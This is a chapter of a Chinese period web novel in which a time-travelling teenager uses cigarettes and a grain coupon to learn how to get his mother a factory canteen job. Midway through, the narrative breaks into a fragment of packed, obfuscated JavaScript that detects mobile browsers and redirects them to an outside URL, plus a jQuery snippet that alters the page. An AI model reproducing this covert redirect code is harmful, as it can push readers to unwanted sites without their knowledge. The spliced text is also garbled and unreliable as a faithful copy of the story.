和知青下乡时期、拿着一千块钱都不一定能买到工作的情况不同，现在正是建设时期，大部分国营工厂都要扩大规模。


    扩大规模，并不是简简单单、落在红头文件上的四个字，工厂的方方面面，都需要跟上脚步。


    毫无疑问，除了食堂、医务室、澡堂、理发室、小卖部等基础设施外，能够保证生产任务按时完成的熟练工人，才是重中之重。


    自然，招工、以老带新，就成为了一个必然的解决办法。


    赵振文在化肥厂附近打听了一圈儿，找离的最近的供销社售货员聊了几分钟，心里大概有了数儿，也就没打算绕弯子，直接来到厂门口，问道：


    “大哥，我想跟你打听个事儿，咱们化肥厂今年还有招工计划没？”


    说话的同时，赵振文递了一根烟过去，是他刚刚在供销社买的。


    烟酒开道，不一定在所有情况下都通用，但对大部分的男同志来说，肯定是管用的。


    这不，接过烟，对方上下打量着赵振文，并没有表现出明显的不耐烦等情绪。


    好一会儿，他才说：“这事儿呢，我倒是知道一点儿，快到年底了，招工计划嘛，还有一次，但是，你多大？就你这身板儿，怕是不太行！”


    化肥厂是有搬运工的，这个岗位的招工要求最低，但因为干的是重体力活儿，报名的时候，人家就会先做一次筛选。


    以他的经验，面前这个小伙子要是想去当搬运工的话，应该是没希望的。


    赵振文不怕一根烟打了水漂，就怕人家连说都懒得跟他多说一句。


    一听这话，他立刻把刚拆开、剩下的大半包烟都塞到了对方兜里，这才道：


    “我今年十五，大哥，不瞒你说，我是替我娘来问的，她上过扫盲班，认识不少字儿，算数也没问题。”


    “你娘？她自个儿怎么不过来、让你一个半大小子来问？”


    建国还不到十年，甭管是一般的老百姓，还是这些国营单位的保卫人员，都不缺那份警觉性，发现有什么疑点，自然要盘问个清楚。


    不然，万一在自己毫无所觉的时候、把重要信息泄露给了敌人，那不就成了罪人吗？


    “今儿我们队有人结婚，我娘去掌勺当大师傅了，她手艺好，我们那儿的人，家里有红白事的，都乐意请她。”


    “大哥，不瞒你说，我娘老早就听说咱们化肥厂是个好单位了。”


    “她想进食堂，因为她觉着，能给化肥厂的工人们做饭、让大家吃得饱饱的、生产出更多的化肥来，也算是她为咱们这地儿提高粮食产量做贡献了。”


    “大哥，你在厂里待的时间长，你看，要是想进食堂的话，能不能给我们指条明路？”


    没错，赵振文替他娘“筹谋”的工作岗位，其实是化肥厂的食堂，就算最后没法儿掌勺、只能当个洗菜工，他觉得，这活儿肯定也比待在车间要来得轻松。


    虽然工资不会有多高，以后论涨工资的速度、论体面，更是和工人、干部没法儿比，但赵振文更看重的，是实惠。


    不是从厂里“捎带饭盒”的实惠，而是厂里管一顿饭的实惠，平常或许显现不出来，但是，再过几年，省出来的这一顿饭，就能让人眼红了。


    虽然不觉得事情会这么顺利，但是，抱着“试试看，或许就成了呢”的想法，赵振文心念一动，从平台仓库里提取出了一张面额为伍市斤的粮票，不动声色地塞到了对方的上衣口袋里。


    看在那盒烟的份儿上，李大荣原本是想把厂里今年最后一次招工考试的时间告诉这个人的。


    反正，他家里没有人要考化肥厂，这事儿在厂里也算不得秘密，而且，知道招工考试时间，就一定能考上吗？


    呵呵，要知道，赶在年前这一次招工考试进厂的，家里多多少少都有点儿关系，怕是早在考试时间定下来以前，家里就连考试题目都给找全了，差的，也就是把答案背下来、到时候默写上去而已。


    而眼前的小伙子，就凭他打听消息，只能这样莽莽撞撞地直接上来问，李大荣就敢断定，他家里指定没有门路。


    就这，还想跟一群有背景的人竞争？这怎么可能争得过呢？


    但是，看清楚那张粮票上写着“伍市斤”三个字的时候，李大荣心里有一瞬间的触动。


    这样一张粮票，也不知道他们全家人是省了多长时间，才从牙缝儿里省出来的，为的是什么？还不就是想进厂挣钱，让一家人的日子过得更好吗？


    如果他什么都不知道，那也就算了，可关键是，他明白这里面的门门道道，还不把话说清楚，让人家抱着希望、最后却竹篮打水一场空，这不是缺了大德，那什么才是呢？


    李大荣脸上的笑容收敛，他把上衣口袋里的粮票拿出来，硬是重新塞回到赵振文手上，说：


    “我看你年纪不大，是个实诚人，就把实话跟你说了吧！年前的这次招工考试，都是些干部岗位，报名的人也都是家里有关系有门路的。”


    “你别嫌我说话难听，事实就是，你们家想去争一个名额，还不如早点儿回家睡大觉，说不定就能在梦里实现了呢！”


    沉默片刻，似乎又觉得这样说、太打击人了、让人看不到一星半点儿的希望，李大荣瞥了那张粮票一眼，道：


    “或者，你们家可以去鸽子市儿碰碰运气，据我所知，厂里一食堂的主任徐富海，他家的小孙子是八个多月生的，算早产。”


    “那孩子已经快到百天了，但市中心医院开的那两袋奶粉已经喝完了，徐主任这阵子正发愁，四处找人借奶粉票呢。”


    “你们家要是能从鸽子市儿弄到一张，拎上一罐奶粉，直接去徐主任家，进食堂的事儿，应该就能成了。”


    说到底，赵振文想让他娘进的是食堂，不是车间，也不是办公室。


    当工人要考你的学习能力、操作水平，当干部要考你的写作能力、文化知识，但是，食堂不一样！


    作为主任，食堂就是徐富海的地盘儿，他想塞个人进去，只要不是上来就当大师傅、压过所有的厨子一头，那就是一句话的事儿罢了，即便是厂里管后勤的领导知道了，也不会放在心上的。


    问题的关键就在于，你能不能拿出足够的筹码、打动徐富海、让他开口说这句话。


    “行了，我知道的这些，都跟你说过了，你要是不信，回头可以再找别人打听打听。”


    “至于奶粉的事儿，你们家人多的话，去各个鸽子市儿碰几回运气，实在找不着，也别钻那个牛角尖。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483516|183850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“化肥厂来年肯定还会招工，这次不行，就等下次呗，实在不行，还有其他单位呢，都是做饭，在哪个单位的食堂干活儿，不都一样是在为国家做贡献吗？”


    李大荣没觉得这一家子真的能弄到一罐奶粉，毕竟，他们这儿没有养奶牛，奶粉是绝对的稀罕物，就算拿到了医院给老人、孕妇、孩子开的奶粉票，百货大楼和供销社往往也是处于缺货状态。


    至于鸽子市儿，这阵子，连他都听说，徐富海把能想到的办法都试验过了，最后也就只弄到了一罐奶粉。


    鸽子市儿的那些人，一个个都比猴儿还精，手里要是有奶粉，能攥着、不往外拿？


    想想也知道，这一家子就算去碰运气，最后的结果，也只会是无功而返。


    然而，和李大荣心里响起的叹气声不同，那一瞬间，赵振文心里涌出的，却是欣喜！


    奶粉？这还不好办？他有啊！只要账号里有钱，想买几罐都行，徐主任愿意安排他娘到化肥厂食堂上班的话，他甚至可以稳定供应奶粉，一直到他家的小孙子断奶，都不成问题！


    当然，赵振文不傻，自然不会把这些话说出来，更不会当着李大荣的面儿、表现出松一口气的感觉。


    那张伍市斤的粮票，又被赵振文给塞了回去：


    “大哥，你这说的是哪儿的话啊？我们家也没什么能拿出手的东西，你还愿意花时间，跟我说这么多，我感激都来不及呢，怎么可能不相信你呢？”


    “这张粮票，大哥你收着，算是我的一点心意，奶粉的事儿，我回去跟我娘商量下，我们也找亲戚朋友都想想办法，甭管我娘最后能不能来化肥厂上班，我都记着你的好呢！”


    “时候不早了，我得赶紧回去了，大哥，能劳烦你跟我说说徐主任住哪儿吗？知道住址，我们家要是搜罗到了奶粉，也好第一时间送过去，免得那孩子挨饿，你说是吧？”


    李大荣犹豫了下，到底把这张粮票收着了，又跟赵振文说了徐主任家住哪儿，这才道：


    “那行，路上慢点儿啊，还有这张粮票，我就不跟你客气了！”


    赵振文朝着李大荣挥挥手，渐渐走远了。


    坐客车回家的路上，尽管路途依旧颠簸不断，但或许是受心理因素影响，或许是他已经习惯了这种颠簸，总之，等到下车的时候，他头一次觉得，好像没那么难受。


    这会儿，社里已经没有生产大队的牛车了，赵振文想搭个顺风车的愿望落空，只得一步一步、走着回三队。


    冬季本就天黑得早，他回到三队的时候，一些人家都已经歇下了。


    远远地，赵振文就看到有一团昏黄的光在那里晃晃悠悠，乍一看，有点像是从一棵树里冒出来了一团火、偏偏二者还十分诡异、能够实现和平共存似的，给赵振文吓了一跳。


    走得近了些，他才看清楚，哪里是树长出来的火焰？分明是一个提着煤油灯的人，只是，被树一挡，人影并不清晰罢了。


    赵振文心里有所猜测，小声地开口道：“娘？”


    “可算是回来了！”是陈春梅的声音。


    赵振文心里的大石头瞬间落地，他经历过两次穿越，他对这些带有“神秘色彩”的事情，多少还是存了些敬畏的，可不是因为他胆小，绝对不是！